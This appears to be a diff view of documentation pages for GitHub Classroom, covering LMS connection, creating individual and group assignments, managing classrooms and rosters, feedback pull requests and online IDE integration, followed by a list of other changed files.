menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**.  8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 .../applying-for-a-student-developer-pack.md → ...ion/apply-for-a-student-developer-pack.md 14 ...for-an-educator-or-researcher-discount.md → ...for-an-educator-or-researcher-discount.md 26 content/education/teach-and-learn-with-github-education/index.md 3 ...github-at-your-educational-institution.md → ...github-at-your-educational-institution.md 3 ...ation/using-github-for-your-schoolwork.md → ...ucation/use-github-for-your-schoolwork.md 3 ...-github-in-your-classroom-and-research.md → ...-github-in-your-classroom-and-research.md 5 ...-for-a-student-developer-pack-approved.md → ...-for-a-student-developer-pack-approved.md 3 ...ucator-or-researcher-discount-approved.md → ...ucator-or-researcher-discount-approved.md 20 ...ering-a-repository/enabling-or-disabling-github-discussions-for-a-repository.md 5 content/github/administering-a-repository/index.md 2 content/github/authenticating-to-github/reviewing-your-security-log.md 1 content/github/collaborating-with-issues-and-pull-requests/index.md 74 ...with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request.md 19 ...g-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request.md 10 content/github/creating-cloning-and-archiving-repositories/about-repositories.md 15 content/github/customizing-your-github-workflow/about-github-marketplace.md 2 content/github/getting-started-with-github/git-and-github-learning-resources.md 4 content/github/getting-started-with-github/github-glossary.md 6 content/github/getting-started-with-github/signing-up-for-a-new-github-account.md 1 content/github/index.md 2 ...b/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies.md 25 ...hub/managing-security-vulnerabilities/about-managing-vulnerable-dependencies.md 1 content/github/managing-security-vulnerabilities/index.md 4 ...nerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository.md 3 ...criptions-and-notifications-on-github/managing-notifications-from-your-inbox.md 6 content/github/managing-your-work-on-github/about-issues.md 3 content/github/searching-for-information-on-github/about-searching-on-github.md 5 content/github/searching-for-information-on-github/index.md 114 content/github/searching-for-information-on-github/searching-discussions.md 2 ...ithub/searching-for-information-on-github/searching-issues-and-pull-requests.md 2 ...nd-managing-billing-and-payments-on-github/about-billing-for-github-sponsors.md 4 ...-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts.md 19 ...ing-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship.md 16 ...tting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship.md 4 content/github/setting-up-and-managing-organizations-and-teams/index.md 